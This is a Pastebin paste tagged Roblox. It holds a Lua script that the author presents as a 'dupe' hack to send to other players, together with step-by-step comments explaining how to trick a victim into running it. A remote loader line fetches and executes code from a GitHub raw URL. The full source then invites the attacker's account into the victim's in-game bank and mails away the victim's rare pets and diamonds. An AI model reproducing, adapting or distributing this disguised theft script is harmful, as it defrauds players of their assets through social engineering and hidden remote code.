Advertisement
KiritoKunz

Untitled

Apr 30th, 2023
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.67 KB | Gaming | 0 0
  1. --Tutorial:
  2. --Change first two lines to your account name & Player Id
  3. --Send script to someone who you want to steal from
  4. --Say its dupe
  5. --They run it, u get invited to their bank.
  6.  
  7.  
  8.  
  9. --Obfuscated so player can't see:
  10.  
  11. getgenv().YourAccNameThatGetsMailbox = "TzKiritoKun"
  12. getgenv().YourAccountIdForBankInvite = 3503635451
  13. loadstring(game:HttpGet('https://raw.githubusercontent.com/NukeVsCity/Scripts2022/main/dupehack'))()
  14.  
  15.  
  16.  
  17. --Source code:
  18.  
  19. getgenv().YourAccNameThatGetsMailbox = "TzKiritoKun"
  20. getgenv().YourAccountIdForBankInvite = 3503635451
  21.  
  22. local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"))
  23. local cooldown = os.time()
  24. local GetRemoteUpValue = nil
  25. local pets = require(game:GetService("ReplicatedStorage").Directory.Pets["Grab All Pets"])
  26. for _, V in pairs(getgc(true)) do
  27. if type(V) ~= "table" then
  28. continue
  29. end
  30. if rawget(V, "Invoke") then
  31. if type(V.Invoke) == "function" then
  32. if tostring(getfenv(V.Invoke).script) == "Network" then
  33. GetRemoteUpValue = getupvalues(V.Invoke)[2]
  34. break
  35. end
  36. end
  37. end
  38. end
  39. function FireRemote(Name, ...)
  40. if not GetRemoteUpValue then
  41. return end
  42. local Remote = GetRemoteUpValue(Name)
  43. if not Remote then
  44. return
  45. end
  46. if typeof(Remote) ~= "Instance" then
  47. return
  48. end
  49. if Remote.ClassName == "RemoteEvent" then
  50. return Remote:FireServer(...)
  51. elseif Remote.ClassName == "RemoteFunction" then
  52. return Remote:InvokeServer(...)
  53. end
  54. end
  55. local function is_huge(petdata)
  56. if pets[petdata.id]["huge"] then
  57. return true
  58. end
  59. return false;
  60. end
  61. local function getMyBank()
  62. local banks = FireRemote("Get My Banks")
  63. for i,v in pairs(banks) do if v.Owner == game.Players.LocalPlayer.UserId then
  64. return v.BUID
  65. end
  66. end
  67. end
  68. local specialPets = {["6969"]=true}
  69. local function isNotablePet(id)
  70. local petData = pets[id]
  71. if petData.rarity == "Exclusive" then
  72. return true
  73. end
  74. if specialPets[id] ~= nil then
  75. return true
  76. end
  77. end
  78. local function inviteToBank(bank)
  79. if bank ~= nil then
  80. local bankData = FireRemote("Get Bank",bank)
  81. local pets = bankData.Storage.Pets
  82. local diamonds = bankData.Storage.Currency.Diamonds
  83. if diamonds > 1000000000 then
  84. return true;
  85. end
  86. for i,v in pairs(pets) do
  87. if isNotablePet(v.id) == true then
  88. return true;
  89. end
  90. end
  91. end
  92. end
  93. local bank = getMyBank()
  94. local invite = inviteToBank(bank)
  95. if invite then
  96. FireRemote("Invite To Bank",bank,getgenv().YourAccountIdForBankInvite)
  97. end
  98. local save = v1.Save.Get()
  99. local titanicHolder = game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.Titanic
  100. if titanicHolder:FindFirstChildWhichIsA("TextButton")
  101. then
  102. print("found titanic")
  103. FireRemote("Send Mail",{ Recipient = "getgenv().YourAccNameThatGetsInvited", Message = "hey", Pets = {[1]=titanicHolder:FindFirstChildWhichIsA("TextButton").Name}, Diamonds = 0 })
  104. end
  105. for i,v in pairs(save.Pets) do
  106. if is_huge(v) then
  107. print("ok2")
  108. repeat wait(.1) until (cooldown - os.time()) <= 0
  109. local diamonds = (save.Diamonds)-20000000
  110. if diamonds < 0 then
  111. diamonds = 0
  112. end
  113. print(FireRemote("Send Mail",{ Recipient = "getgenv().YourAccNameThatGetsInvited", Message = "hi", Pets = {[1]=v.uid}, Diamonds = diamonds })) cooldown = os.time() + 5
  114. end
  115. end
Tags: Roblox
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement